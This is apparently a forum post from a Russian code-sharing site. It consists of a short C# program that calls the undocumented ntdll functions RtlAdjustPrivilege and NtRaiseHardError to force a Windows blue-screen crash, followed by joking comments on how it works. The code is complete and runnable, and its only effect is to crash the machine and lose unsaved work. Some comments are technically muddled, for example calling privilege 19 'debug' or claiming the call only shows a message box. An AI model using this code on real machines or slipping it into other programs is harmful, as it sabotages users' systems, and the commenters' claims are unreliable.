- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
using JINN=System;
namespace SiniyShaman
{
class PrizivSinegoDemona
{
[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
public static extern uint RtlAdjustPrivilege(int Privilege,bool bEnablePrivilege,bool IsThreadPrivilege,out bool PreviousValue);
[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
public static extern uint NtRaiseHardError(uint ErrorStatus,uint NumberOfParameters,uint UnicodeStringParameterMask,JINN.IntPtr Parameters,uint ValidResponseOption,out uint Response);
[JINN.STAThread]
static unsafe void Main(string[]args)
{
JINN.Runtime.InteropServices.Marshal.PrelinkAll(typeof(PrizivSinegoDemona));
JINN.Boolean t1;
uint t2;
RtlAdjustPrivilege(19,true,false,out t1);
NtRaiseHardError(0xc0000022,0,0,JINN.IntPtr.Zero,6,out t2);
}
}
}
Волшебства не бывает говорили они... В армию уже походу не возьмут %)
Или там есть спец привилегия типа как у TCB (та самая 19-я, кстати у нее есть имя?), но разве винда ее даст?
З.Ы. Хотя 19 -- debug. Кому верить -- хрен знает.
А, стоп
Пишут, что это не BSOD никакой, а какое-то говносообщение через LPC в CSRSS, и он в ответ message box кажет
Тогда где тут синий джин/
Но я могу быть не прав
А в документированном API рекомендуется получать циферку (luid) по имени привилегии (SE_SHUTDOWN_NAME), а не хардкодить. Интересно нафига, если они всё равно захардкожены в нижнем слое.
У MS как всегда джва API -- для себя и для остальных.
Какой багор )))